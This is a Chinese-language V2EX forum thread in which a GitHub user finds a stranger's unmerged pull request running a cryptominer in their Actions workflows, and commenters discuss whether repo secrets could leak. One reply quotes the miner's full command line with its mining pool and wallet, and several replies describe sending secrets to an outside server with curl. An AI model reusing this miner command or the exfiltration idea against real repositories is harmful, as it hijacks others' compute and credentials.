V2EX = way to explore
V2EX 是一个关于分享和探索的地方
Sign Up Now
For Existing Member  Sign In
Drinker
V2EX  ›  GitHub

关于 github 中的 workflow 可以随便执行的问题

  •  
  •   Drinker · Apr 12, 2021 · 3295 views
    This topic created in 1843 days ago, the information mentioned may be changed or developed.

    这两天发生的,之前申请了个 360 E5 的账号,用 github 的 workflow 跑 API 来续期,然后这两天发现有个家伙提了个 pr, 就是此人 https://github.com/laksjduetryuism,然后再 actions 里面看看到对方提的 pr 可以直接再工作流里面执行, https://imgur.com/xyv9435, pr 我还没有合并, https://imgur.com/bAV9nqm, 就直接生效了?如果这样可以执行不是就可以获取我再项目里面设置的 id 和 secret ... 害怕。。。

    Supplement 1  ·  Apr 12, 2021

    经过老哥的提醒,已确认是挖矿: https://zhuanlan.zhihu.com/p/363729726

    29 replies    2021-04-13 07:40:03 +08:00
    just1
        1
    just1  
       Apr 12, 2021
    ...你的 workflow 的触发条件有 pr,不这样才奇怪呢。执行归执行除非在执行中输出了 secret,不然别人又看不到
    Drinker
        2
    Drinker  
    OP
       Apr 12, 2021
    @just1 不知道是不是我理解错掉。如果 workflow 的触发条件有 pr,那执行的也是应该是我自己的 workflow,而不是 pr 里面的 workflow,他提过来的 pr 里面是一个 workflow 的 yml 定义文件,假设他再 yml 里面使用 curl 发送一个附带了 环境变量 ID_LIST 和 KEY_LIST 到他的服务器上,那不是就被盗了 id 和 secret ...
    InternetExplorer
        3
    InternetExplorer  
       Apr 12, 2021
    开源项目也没什么问题吧
    2wex
        4
    2wex  
       Apr 12, 2021
    PR 触发的 action 不能获取 secret

    放心,只要你遵守 github actions 的规矩,它还是很安全的
    coolcoffee
        5
    coolcoffee  
       Apr 12, 2021
    Pull Request Trigger 执行的你项目分支的,所以就算别人提交触发了你原有流程,也不会造成什么太大影响。secret 就算被误输出也会被打码掉。
    baobao1270
        6
    baobao1270  
       Apr 12, 2021 via Android
    好像听说最近有人拿 action 挖矿的,专门找小众 repo 提 pr
    Drinker
        7
    Drinker  
    OP
       Apr 12, 2021
    @InternetExplorer 已经续期了三次,项目没问题。
    Drinker
        8
    Drinker  
    OP
       Apr 12, 2021
    @2wex 如果提交的分支里面使用 curl 发送一个附带了 环境变量 ID 和 KEY 的请求到自己的服务器上不知道会不会被盗掉,等有时间我试试。
    Drinker
        9
    Drinker  
    OP
       Apr 12, 2021
    @coolcoffee 如果分支里面使用 curl 发送请求,参数是环境变量里面的 secret,不知道会不会被发出去...
    Drinker
        10
    Drinker  
    OP
       Apr 12, 2021
    @baobao1270 有可能,我看 yml 里面下了一个脚本,但是是再 win 上跑的,在我这没跑起来。
    learningman
        11
    learningman  
       Apr 12, 2021 via Android
    @Drinker 你没看懂人家在说什么吗。。。环境变量里根本就不会有 secret
    dingwen07
        12
    dingwen07  
       Apr 12, 2021 via iPhone
    触发器不包括 pr 应该就可以吧
    顺便这个用户感觉很可疑,可能是滥用用户,准备报告一下
    楼主的自动跑 API 的 yaml 能否分享一下
    coolcoffee
        13
    coolcoffee  
       Apr 12, 2021
    @Drinker 只要你别把代码合并到你的 GitHub 仓库里面,它做仓库代码上的 action 就不可能在你的仓库上执行。

    PR trigger 很常见的,像开源项目提交前会做好多规则检查。全部绿色通过以后才可以继续合并。
    otakustay
        14
    otakustay  
       Apr 12, 2021
    workflow 触发条件是 PR 就是用来验证 PR 是否合格能否合并的,只触发你自己 PR 还有啥用
    Drinker
        15
    Drinker  
    OP
       Apr 12, 2021
    Drinker
        16
    Drinker  
    OP
       Apr 12, 2021
    @learningman 我可能没搞清楚,因为看到这个
    ```
    env:
    ID_LIST: ${{ secrets.ID_LIST }} # secrets_id 提供
    KEY_LIST: ${{ secrets.KEY_LIST }} # secrets_key 提供
    ID_LIST2: ${{ secrets.ID_LIST2 }} # secrets_id 提供
    KEY_LIST2: ${{ secrets.KEY_LIST2 }} # secrets_key 提供
    run: |
    echo $ID_LIST > idlist.txt
    echo $KEY_LIST > keylist.txt
    ```
    所以很奇怪。
    Drinker
        17
    Drinker  
    OP
       Apr 12, 2021
    @coolcoffee 我没有合并 pr,但是的确在我的 aciton 里面有执行的情况,只不过 window 的 yml 无法执行,所以没有成功。
    相同的受害者 https://github.com/hjdd777/AutoApiS/actions 。这个人和我一样,也被提交了 pr
    Drinker
        18
    Drinker  
    OP
       Apr 12, 2021
    @otakustay 那是不是说有可能出现上面我说的那种情况,能获取得到我设置的 id 和 secret 。上面有个老哥说不行,我也不清楚。因为触发 api 的 yml 文件里面是获取了 id 和 secret 才触发的 api 。
    protonme
        19
    protonme  
       Apr 12, 2021 via iPhone
    可以看看 repo 设置中 Actions - Actions permissions
    Trim21
        20
    Trim21  
       Apr 12, 2021 via Android
    …他读不到你的 secrets
    mangoDB
        21
    mangoDB  
       Apr 12, 2021
    楼主请看这个帖子。

    [黑客用 GitHub 服务器挖矿,三天跑了 3 万个任务,代码惊现中文]( https://zhuanlan.zhihu.com/p/363729726 )
    laoyur
        22
    laoyur  
       Apr 12, 2021
    哈哈,挖矿挖到楼主头上了,笑出声
    Drinker
        23
    Drinker  
    OP
       Apr 12, 2021
    @hzcer OK,我去瞅瞅。
    Drinker
        24
    Drinker  
    OP
       Apr 12, 2021
    @Trim21 那就好,谢谢。
    Drinker
        25
    Drinker  
    OP
       Apr 12, 2021
    @mangoDB 就是这个....
    npm.exe --algorithm argon2id_chukwa2
    --pool turtlecoin.herominers.com:10380
    --wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP
    --password xo
    yml 文件里面就是下载 npm.exe 和 nani.bat 。
    Drinker
        26
    Drinker  
    OP
       Apr 12, 2021
    @laoyur 第一次遇到这种,应该就是上面说的挖矿了。
    patrickyoung
        27
    patrickyoung  
       Apr 12, 2021 via iPhone
    这个 bug 已经有人在 src 交了,现在是有设置的,自己去设置里设只允许本地就行
    Drinker
        28
    Drinker  
    OP
       Apr 12, 2021
    @patrickyoung 谢谢,已经给官方处理了。
    raaaaaar
        29
    raaaaaar  
       Apr 13, 2021 via Android
    自由就是被这群人加了限制。。
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   2961 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 61ms · UTC 14:51 · PVG 22:51 · LAX 07:51 · JFK 10:51
    ♥ Do have faith in what you're doing.